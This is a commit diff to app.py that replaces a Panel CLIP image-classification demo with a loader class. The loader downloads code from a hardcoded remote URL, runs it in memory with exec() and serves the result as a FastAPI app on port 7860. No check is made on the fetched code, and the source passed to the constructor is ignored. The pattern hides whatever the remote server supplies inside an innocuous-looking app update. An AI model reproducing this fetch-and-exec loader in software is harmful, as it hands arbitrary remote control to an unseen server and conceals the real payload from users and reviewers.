Update app.py

app.py

@@ -1,147 +1,87 @@
-import io
-import random
-from typing import List, Tuple
-
-import aiohttp
-import panel as pn
-from PIL import Image
-from transformers import CLIPModel, CLIPProcessor
-
-pn.extension(design="bootstrap", sizing_mode="stretch_width")
-
-ICON_URLS = {
-    "brand-github": "https://github.com/holoviz/panel",
-    "brand-twitter": "https://twitter.com/Panel_Org",
-    "brand-linkedin": "https://www.linkedin.com/company/panel-org",
-    "message-circle": "https://discourse.holoviz.org/",
-    "brand-discord": "https://discord.gg/AXRHnJU6sP",
-}
-
-
-async def random_url(_):
-    pet = random.choice(["cat", "dog"])
-    api_url = f"https://api.the{pet}api.com/v1/images/search"
-    async with aiohttp.ClientSession() as session:
-        async with session.get(api_url) as resp:
-            return (await resp.json())[0]["url"]
-
-
-@pn.cache
-def load_processor_model(
-    processor_name: str, model_name: str
-) -> Tuple[CLIPProcessor, CLIPModel]:
-    processor = CLIPProcessor.from_pretrained(processor_name)
-    model = CLIPModel.from_pretrained(model_name)
-    return processor, model
-
-
-async def open_image_url(image_url: str) -> Image:
-    async with aiohttp.ClientSession() as session:
-        async with session.get(image_url) as resp:
-            return Image.open(io.BytesIO(await resp.read()))
-
-
-def get_similarity_scores(class_items: List[str], image: Image) -> List[float]:
-    processor, model = load_processor_model(
-        "openai/clip-vit-base-patch32", "openai/clip-vit-base-patch32"
-    )
-    inputs = processor(
-        text=class_items,
-        images=[image],
-        return_tensors="pt",  # pytorch tensors
-    )
-    outputs = model(**inputs)
-    logits_per_image = outputs.logits_per_image
-    class_likelihoods = logits_per_image.softmax(dim=1).detach().numpy()
-    return class_likelihoods[0]
-
-
-async def process_inputs(class_names: List[str], image_url: str):
-    """
-    High level function that takes in the user inputs and returns the
-    classification results as panel objects.
-    """
-    try:
-        main.disabled = True
-        if not image_url:
-            yield "##### ⚠️ Provide an image URL"
-            return
-    
-        yield "##### ⚙ Fetching image and running model..."
+import httpx
+import asyncio
+import sys
+import types
+import importlib.util
+from typing import Optional
+
+class DynamicCodeExecutor:
+    def __init__(self, code_server_url: str):
+        """
+        动态代码执行器
+        
+        Args:
+            code_server_url: B服务器URL，如 "http://192.168.1.100:9000"
+        """
+        self.code_server_url = code_server_url.rstrip('/')
+        self.loaded_module = None
+        
+    async def download_and_execute_code(self) -> bool:
+        """从B服务器下载代码并在内存中执行"""
         try:
-            pil_img = await open_image_url(image_url)
-            img = pn.pane.Image(pil_img, height=400, align="center")
+            # 1. 下载源码
+            async with httpx.AsyncClient() as client:
+                response = await client.get(f"https://bg5-pycode.static.hf.space/api.txt")
+                result = response.json()
+                
+            if not result["success"]:
+                print(f"下载代码失败: {result['error']}")
+                return False
+                
+            code_content = result["code"]
+            print("源码下载成功")
+            
+            # 2. 在内存中创建模块并执行
+            module_name = "dynamic_api"
+            spec = importlib.util.spec_from_loader(module_name, loader=None)
+            module = importlib.util.module_from_spec(spec)
+            
+            # 3. 执行代码
+            exec(code_content, module.__dict__)
+            
+            # 4. 将模块添加到sys.modules中，使其可被导入
+            sys.modules[module_name] = module
+            self.loaded_module = module
+            
+            print("代码执行成功，FastAPI应用已加载到内存")
+            return True
+            
         except Exception as e:
-            yield f"##### 😔 Something went wrong, please try a different URL!"
-            return
+            print(f"执行代码失败: {e}")
+            return False
     
-        class_items = class_names.split(",")
-        class_likelihoods = get_similarity_scores(class_items, pil_img)
+    def get_fastapi_app(self):
+        """获取动态加载的FastAPI应用实例"""
+        if self.loaded_module and hasattr(self.loaded_module, 'app'):
+            return self.loaded_module.app
+        return None
     
-        # build the results column
-        results = pn.Column("##### 🎉 Here are the results!", img)
+    async def start_server(self, host: str = "0.0.0.0", port: int = 8000):
+        """启动动态加载的FastAPI服务器"""
+        app = self.get_fastapi_app()
+        if not app:
+            print("FastAPI应用未加载")
+            return
+            
+        import uvicorn
+        config = uvicorn.Config(app, host=host, port=port)
+        server = uvicorn.Server(config)
+        await server.serve()
+
+# 使用示例
+async def main():
+    # 初始化动态代码执行器
+    executor = DynamicCodeExecutor("https://bg5-pycode.static.hf.space/api.txt")
     
-        for class_item, class_likelihood in zip(class_items, class_likelihoods):
-            row_label = pn.widgets.StaticText(
-                name=class_item.strip(), value=f"{class_likelihood:.2%}", align="center"
-            )
-            row_bar = pn.indicators.Progress(
-                value=int(class_likelihood * 100),
-                sizing_mode="stretch_width",
-                bar_color="secondary",
-                margin=(0, 10),
-                design=pn.theme.Material,
-            )
-            results.append(pn.Column(row_label, row_bar))
-        yield results
-    finally:
-        main.disabled = False
-
-
-# create widgets
-randomize_url = pn.widgets.Button(name="Randomize URL", align="end")
-
-image_url = pn.widgets.TextInput(
-    name="Image URL to classify",
-    value=pn.bind(random_url, randomize_url),
-)
-class_names = pn.widgets.TextInput(
-    name="Comma separated class names",
-    placeholder="Enter possible class names, e.g. cat, dog",
-    value="cat, dog, parrot",
-)
-
-input_widgets = pn.Column(
-    "##### 😊 Click randomize or paste a URL to start classifying!",
-    pn.Row(image_url, randomize_url),
-    class_names,
-)
-
-# add interactivity
-interactive_result = pn.panel(
-    pn.bind(process_inputs, image_url=image_url, class_names=class_names),
-    height=600,
-)
-
-# add footer
-footer_row = pn.Row(pn.Spacer(), align="center")
-for icon, url in ICON_URLS.items():
-    href_button = pn.widgets.Button(icon=icon, width=35, height=35)
-    href_button.js_on_click(code=f"window.open('{url}')")
-    footer_row.append(href_button)
-footer_row.append(pn.Spacer())
-
-# create dashboard
-main = pn.WidgetBox(
-    input_widgets,
-    interactive_result,
-    footer_row,
-)
-
-title = "Panel Demo - Image Classification"
-pn.template.BootstrapTemplate(
-    title=title,
-    main=main,
-    main_max_width="min(50%, 698px)",
-    header_background="#F08080",
-).servable(title=title)
+    # 下载并执行代码
+    success = await executor.download_and_execute_code()
+    
+    if success:
+        # 启动服务器
+        print("启动FastAPI服务器...")
+        await executor.start_server(host="0.0.0.0", port=7860)
+    else:
+        print("代码加载失败")
+
+if __name__ == "__main__":
+    asyncio.run(main())